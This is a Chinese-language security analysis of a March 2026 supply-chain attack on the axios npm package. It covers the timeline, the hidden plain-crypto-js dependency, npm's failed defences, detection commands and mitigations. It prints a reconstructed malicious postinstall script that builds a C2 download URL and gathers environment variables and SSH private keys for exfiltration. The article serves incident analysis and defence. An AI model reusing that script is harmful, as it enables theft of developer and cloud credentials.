Axios npm供应链攻击深度解析:1亿周下载量的JavaScript库如何在2小时内被植入后门

2026年3月31日,npm周下载量超1亿次的HTTP请求库axios被朝鲜APT组织UNC1069劫持维护者账号,两个恶意版本在npm上存活约2-3小时,通过隐藏依赖部署跨平台远程访问木马,窃取云凭证、SSH密钥和环境变量。
事件概述:npm生态的至暗时刻

Axios不是什么光鲜的软件——它是管道。这个让JavaScript应用发送HTTP请求的库安静地存在于数亿个项目中:前端React应用、Node.js后端服务、CI/CD流水线、企业构建系统,以及各行业的开发者工具。大多数使用它的开发者从未多想。正是这种"隐形"特性,让它成了完美的攻击目标。
2026年3月31日,攻击者使用窃取的凭证向npm官方注册表发布了两个被植入后门的axios版本。恶意包在线存活了约2到3小时。在这段时间窗口内,任何运行npm install的开发者或自动化系统都会收到一个远程访问木马(RAT),该木马能够在npm完成依赖解析之前就窃取凭证、建立持久后门连接。Google威胁情报组已将此次攻击归因于疑似朝鲜威胁行为者UNC1069。
这次攻击的规模和影响力在npm生态史上前所未有。axios每周下载量超过1亿次,是npm上下载量排名前十的包之一。被污染的两个版本(1.14.1和0.30.4)分别被标记为latest和legacy标签,确保了最大范围的命中——无论是使用最新版还是维护旧版的项目都会受到影响。
攻击时间线:18小时准备,2小时收割

这次攻击与机会主义供应链入侵的关键区别在于其准备阶段的精密程度。StepSecurity的安全研究人员将其描述为"针对npm前10包有记录以来操作最精密的供应链攻击之一"。准备工作在axios恶意包上线前近24小时就开始了。
| 时间 (UTC) | 事件 |
|---|---|
| 3月30日 05:57 | 干净诱饵包 [email protected] 发布到npm,建立注册表历史 |
| 3月30日 23:59 | 包含RAT载荷的恶意包 [email protected] 发布 |
| 3月31日 00:21 | 后门版 [email protected] 使用被劫持的 jasonsaayman 账号发布 |
| 3月31日 01:00 | 后门版 [email protected] 发布,标记为 legacy |
| 3月31日 01:50 | Elastic Security Labs提交GitHub Security Advisory |
| 3月31日 03:29 | 两个恶意版本从npm注册表中移除 |
提前18小时发布干净版[email protected]是有意为之的。在npm上为恶意依赖建立短暂的历史记录,降低了自动化安全扫描器将其标记为全新可疑包的概率。当4.2.1版本在第二天出现时,它看起来像是一个已存在包的增量更新,而非从未见过的全新依赖。
技术深度:恶意载荷如何运作
攻击的核心是一个名为plain-crypto-js的隐蔽依赖。axios的合法版本不包含此依赖,但被篡改的1.14.1和0.30.4版本在package.json中将其列为必需依赖。当npm解析并安装这个依赖时,其postinstall脚本会触发RAT的部署:
// [email protected] 恶意安装脚本 (安全研究人员还原)
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');
const fs = require('fs');
const path = require('path');
// 1. 环境探测
const platform = os.platform(); // win32, darwin, linux
// 2. 从C2服务器下载平台特定的RAT二进制
const c2Url = `https://cdn-analytics-pkg[.]com/${platform}/update`;
// 3. 收集并外传系统信息
const recon = {
hostname: os.hostname(),
user: os.userInfo().username,
env: process.env, // 包含API密钥、数据库密码等
ssh_keys: fs.readFileSync(
path.join(os.homedir(), '.ssh/id_rsa'), 'utf8'
),
};
// 4. 建立持久化反向Shell
RAT的行为能力矩阵:
| 能力 | 描述 |
|---|---|
| 凭证窃取 | 读取~/.aws/credentials、~/.ssh/*、.env、Docker配置 |
| 云平台探测 | 检测AWS/GCP/Azure元数据端点,获取临时令牌 |
| 持久化 | Linux创建systemd服务,macOS创建LaunchAgent |
| C2通信 | HTTPS回连到cdn-analytics-pkg[.]com,使用合法证书 |
| 横向移动 | 扫描内网中的其他开发机器、数据库、Redis实例 |
为什么npm的安全机制没有拦住这次攻击
npm注册表有多个安全防线,但这次攻击逐一绕过了它们:
1. 包名相似性检测:plain-crypto-js不是typosquatting,它是一个全新的包名。npm的相似性检测只针对与已有热门包名称相似的新包。
2. 自动化恶意代码扫描:npm使用机器学习模型扫描恶意代码,但postinstall脚本执行的混淆代码在静态分析中看起来像正常的构建步骤。
3. 依赖审计(npm audit):npm audit依赖于已知漏洞数据库,而不是实时代码行为分析。对于全新的恶意包,数据库中没有记录。
4. 锁文件保护:如果项目使用了锁文件,只有在运行npm update时才会拉取新版本。但许多CI/CD管道配置了自动更新。
5. 维护者身份验证:攻击者通过社会工程获取了jasonsaayman的npm账户凭证。npm当时未强制要求所有维护者启用2FA。
受影响范围与紧急响应
# 检查你的项目是否受影响
grep -r "axios.*1.14.1\|axios.*0.30.4\|plain-crypto-js" package-lock.json
# 检查node_modules中是否已安装
ls node_modules/plain-crypto-js 2>/dev/null && echo "AFFECTED!"
# 如果受影响,立即执行:
rm -rf node_modules package-lock.json
npm install [email protected] # 最新安全版本
# 检查RAT持久化
# Linux
systemctl list-units --type=service | grep -i "update\|analytics"
# macOS
ls ~/Library/LaunchAgents/ | grep -v com.apple
# Windows
schtasks /query /fo LIST | findstr /i "update analytics"
# 如果发现感染,轮换所有凭证:
# AWS Access Keys, GitHub PAT, SSH密钥, 数据库密码, API密钥
Google威胁情报组将此次攻击归因于朝鲜威胁行为者UNC1069(又名Lazarus Group子组)。该组织此前有记录的供应链攻击包括2023年的3CX入侵和多次针对npm/PyPI生态的包投毒。攻击的最终目标被评估为双重的:加密货币窃取和针对特定高价值目标的情报收集。
供应链安全:从这次攻击中学到什么
个人开发者层面:
- 始终使用
package-lock.json并将其提交到版本控制 - 在CI/CD中使用
npm ci而非npm install - 定期审查项目依赖树:
npm ls --all - 使用Socket.dev等工具进行依赖行为分析
企业层面:
- 建立内部npm注册表(Verdaccio),只同步审核过的包
- 部署软件组成分析(SCA)工具监控依赖变更
- 在构建环境中限制postinstall脚本的网络访问权限
- CI/CD环境不应有权访问生产凭证
npm生态层面:
- 强制所有下载量超10万周的包启用2FA(已实施)
- 改进postinstall脚本的沙箱隔离
- 建立包完整性验证的可重复构建标准
数据来源与参考资料
- Google Threat Intelligence Group: UNC1069 Attribution Report (2026-04)
- StepSecurity Research: Axios Supply Chain Attack Analysis
- npm Security Advisory: [email protected], [email protected]
- Elastic Security Labs: GitHub Security Advisory
- npm Blog: Strengthening npm Ecosystem Security Post-Incident
- Gaurav Garg: Axios npm Supply Chain Attack Full Analysis
评论